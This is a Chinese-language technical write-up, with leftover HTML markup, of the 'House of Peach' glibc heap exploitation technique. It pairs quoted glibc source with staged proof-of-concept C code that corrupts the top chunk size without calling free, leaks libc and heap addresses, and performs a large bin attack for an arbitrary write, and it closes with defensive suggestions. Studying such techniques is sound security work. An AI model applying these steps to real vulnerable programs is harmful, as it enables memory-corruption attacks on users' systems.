House of Peach 堆利用技术详解<\/h1>

技术概述<\/h2>
House of Peach 是一种新型的堆利用技术，延续了 House of Orange 对 Top chunk 的利用思路。该技术可在任意 glibc 版本下，无需 free 函数<\/strong>即可实现堆利用，通过精心构造的堆布局和溢出漏洞，实现内存地址泄露和任意地址写入。<\/p>

技术原理分析<\/h2>
核心机制：sysmalloc 中的 Top chunk 释放<\/h3>
在 glibc 2.39 的 sysmalloc<\/code> 函数中，当主分配区（main_arena）的堆空间不足时，会执行以下关键操作：<\/p>
\/\/ 主分配区处理逻辑 <\/span><\/span><\/span><\/span>if<\/span> (old_size !=<\/span> 0<\/span>) { <\/span><\/span> old_size =<\/span> (old_size -<\/span> 2<\/span> *<\/span> CHUNK_HDR_SZ) &<\/span> ~<\/span>MALLOC_ALIGN_MASK; <\/span><\/span> set_head(old_top, old_size |<\/span> PREV_INUSE); <\/span><\/span> <\/span><\/span> \/\/ 创建 fencepost <\/span><\/span><\/span><\/span> set_head(chunk_at_offset(old_top, old_size), CHUNK_HDR_SZ |<\/span> PREV_INUSE); <\/span><\/span> set_head(chunk_at_offset(old_top, old_size +<\/span> CHUNK_HDR_SZ), CHUNK_HDR_SZ |<\/span> PREV_INUSE); <\/span><\/span> <\/span><\/span> \/\/ 关键：释放旧的 top chunk <\/span><\/span><\/span><\/span> if<\/span> (old_size >=<\/span> MINSIZE) { <\/span><\/span> _int_free(av, old_top, 1<\/span>); <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>sbrk 的连续地址分配特性<\/h3> 通过分析 __glibc_morecore<\/code> 函数可知，主线程堆通过 sbrk 分配的空间是连续的：<\/p> void<\/span> *<\/span>__glibc_morecore<\/span>(ptrdiff_t increment) { <\/span><\/span> if<\/span> (__always_fail_morecore) return<\/span> NULL; <\/span><\/span> void<\/span> *<\/span>result =<\/span> (void<\/span> *<\/span>) __sbrk(increment); <\/span><\/span> if<\/span> (result ==<\/span> (void<\/span> *<\/span>) -<\/span>1<\/span>) return<\/span> NULL; <\/span><\/span> return<\/span> result; <\/span><\/span>} <\/span><\/span><\/code><\/pre>这种连续性为后续的堆布局伪造提供了基础。<\/p> 利用条件与前提<\/h2> 堆溢出漏洞<\/strong>：能够修改 chunk 的 size 字段<\/li> 无 free 函数限制<\/strong>：适用于只有 malloc 没有 free 的场景<\/li> glibc 版本<\/strong>：全版本通用（技术演示基于 glibc 2.39）<\/li> 主线程堆<\/strong>：利用针对主分配区的特性<\/li> <\/ol> 详细利用步骤<\/h2> 第一阶段：初始堆布局<\/h3> size_t *<\/span>chunk_1, *<\/span>chunk_2, *<\/span>chunk_3, *<\/span>tmp_chunk; <\/span><\/span>long<\/span> int<\/span> tmp_size, offset; <\/span><\/span> <\/span><\/span>\/\/ 创建初始堆结构 <\/span><\/span><\/span><\/span>chunk_1 =<\/span> malloc(0x28<\/span>); <\/span><\/span><\/code><\/pre>第二阶段：修改 Top chunk 大小<\/h3> \/\/ 获取当前 top chunk 大小并修改 <\/span><\/span><\/span><\/span>tmp_size =<\/span> chunk_1[5<\/span>]; \/\/ chunk_1[5] 对应 top chunk 的 size 字段 <\/span><\/span><\/span><\/span>chunk_1[5<\/span>] =<\/span> tmp_size &<\/span> 0xfff<\/span>; \/\/ 保持页面对齐特性 <\/span><\/span><\/span><\/code><\/pre>关键点<\/strong>：需要绕过 glibc 的断言检查：<\/p> assert((old_top ==<\/span> initial_top(av) &&<\/span> old_size ==<\/span> 0<\/span>) ||<\/span> <\/span><\/span> ((unsigned<\/span> long<\/span>)(old_size) >=<\/span> MINSIZE &&<\/span> <\/span><\/span> prev_inuse(old_top) &&<\/span> <\/span><\/span> ((unsigned<\/span> long<\/span>)old_end &<\/span> (pagesize -<\/span> 1<\/span>)) ==<\/span> 0<\/span>)); <\/span><\/span><\/code><\/pre>通过保持 size 的低 12 位与原始值一致，确保页面对齐，避免触发断言。<\/p> 第三阶段：触发 Top chunk 释放<\/h3> \/\/ 分配大块内存触发 sysmalloc <\/span><\/span><\/span><\/span>chunk_2 =<\/span> malloc(0x1000<\/span>); <\/span><\/span>chunk_3 =<\/span> malloc(0x1000<\/span>); <\/span><\/span><\/code><\/pre>此操作会导致：<\/p> 旧的 top chunk 被释放并加入 unsorted bin<\/li> 通过 sbrk 分配新的堆空间<\/li> 新旧堆空间地址连续<\/li> <\/ol> 第四阶段：伪造 Unsorted Bin Chunk<\/h3> \/\/ 将旧的 top chunk 重新放入 unsorted bin <\/span><\/span><\/span><\/span>chunk_1 =<\/span> malloc(0x28<\/span>); <\/span><\/span> <\/span><\/span>\/\/ 计算偏移并设置伪造的 chunk 大小 <\/span><\/span><\/span><\/span>offset =<\/span> ((chunk_3 -<\/span> chunk_1) *<\/span> 8<\/span>) +<\/span> 0x400<\/span> -<\/span> 0x30<\/span>; <\/span><\/span>chunk_3[0x7f<\/span>] =<\/span> 0x1010<\/span> -<\/span> 0x400<\/span>; \/\/ 伪造的 size <\/span><\/span><\/span><\/span>chunk_3[0x7e<\/span>] =<\/span> offset; \/\/ 伪造的 prev_size <\/span><\/span><\/span><\/span>chunk_1[5<\/span>] =<\/span> offset +<\/span> 1<\/span>; \/\/ 修改旧的 top chunk size <\/span><\/span><\/span><\/code><\/pre>布局效果<\/strong>：创建一个巨大的伪造 unsorted chunk，覆盖 chunk_2 和 chunk_3 的部分区域。<\/p> 第五阶段：地址泄露<\/h3> Libc 地址泄露<\/h4> \/\/ 申请特定大小的 chunk，使 chunk_2 进入 unsorted bin <\/span><\/span><\/span><\/span>tmp_chunk =<\/span> malloc(((chunk_2 -<\/span> chunk_1) *<\/span> 8<\/span>) -<\/span> 0x10<\/span> -<\/span> 0x30<\/span>); <\/span><\/span>\/\/ 此时 chunk_2 的 fd 指针指向 main_arena，可泄露 libc 地址 <\/span><\/span><\/span><\/code><\/pre>堆地址泄露<\/h4> \/\/ 进一步分配，使 chunk_3 进入 large bin <\/span><\/span><\/span><\/span>tmp_chunk =<\/span> malloc(0x1000<\/span> -<\/span> 0x10<\/span>); <\/span><\/span>tmp_chunk =<\/span> malloc(0x1000<\/span> -<\/span> 0x10<\/span>); <\/span><\/span>\/\/ 此时 chunk_3 的 fd_nextsize 包含堆地址 <\/span><\/span><\/span><\/code><\/pre>第六阶段：Large Bin Attack<\/h3> \/\/ 修改新的 top chunk 大小，使其可被释放 <\/span><\/span><\/span><\/span>tmp_chunk =<\/span> malloc(0x1000<\/span>); <\/span><\/span>tmp_size =<\/span> tmp_chunk[0x201<\/span>] &<\/span> 0xfff<\/span>; <\/span><\/span>tmp_chunk[0x201<\/span>] =<\/span> tmp_size; <\/span><\/span>tmp_size =<\/span> tmp_size -<\/span> 0x400<\/span> -<\/span> 0x10<\/span> -<\/span> 0x20<\/span>; <\/span><\/span>tmp_chunk =<\/span> malloc(0x1000<\/span>); <\/span><\/span> <\/span><\/span>\/\/ 尝试 mmap 固定地址（可选步骤） <\/span><\/span><\/span><\/span>void<\/span> *<\/span>addr =<\/span> (void<\/span> *<\/span>)0x4440000<\/span>; <\/span><\/span>size_t *<\/span>result =<\/span> mmap(addr, 0x1000<\/span>, PROT_READ |<\/span> PROT_WRITE, <\/span><\/span> MAP_PRIVATE |<\/span> MAP_ANONYMOUS |<\/span> MAP_FIXED, -<\/span>1<\/span>, 0<\/span>); <\/span><\/span> <\/span><\/span>\/\/ 执行 large bin attack <\/span><\/span><\/span><\/span>tmp_chunk =<\/span> malloc(tmp_size); <\/span><\/span>chunk_3[1<\/span>] =<\/span> 0x4440000<\/span> -<\/span> 0x20<\/span>; \/\/ 修改 bk_nextsize <\/span><\/span><\/span><\/span>tmp_chunk =<\/span> malloc(0x1000<\/span>); \/\/ 触发写入 <\/span><\/span><\/span><\/code><\/pre>技术优势与特点<\/h2> 无 free 函数要求<\/strong>：完全基于 malloc 操作实现利用<\/li> 版本通用性<\/strong>：适用于各种 glibc 版本<\/li> 连续地址利用<\/strong>：利用 sbrk 的连续性特性<\/li> 多重利用能力<\/strong>：可实现地址泄露和任意地址写入<\/li> 布局控制精细<\/strong>：通过精确的 size 控制实现复杂的堆布局<\/li> <\/ol> 防御与检测建议<\/h2> 堆溢出检测<\/strong>：加强堆边界检查，防止 size 字段被修改<\/li> 堆布局监控<\/strong>：监控异常的堆 chunk 大小和布局<\/li> 地址随机化<\/strong>：加强 ASLR 保护，增加预测难度<\/li> 分配模式检测<\/strong>：检测异常的 malloc 大小序列模式<\/li> <\/ol> 总结<\/h2> House of Peach 技术通过精妙地利用 glibc 内存分配器中 sysmalloc 对旧 top chunk 的自动释放机制，结合 sbrk 的连续地址分配特性，实现了在无 free 函数情况下的高级堆利用。该技术展示了现代堆利用技术向更精细化的布局控制和系统机制深度利用的发展趋势。<\/p>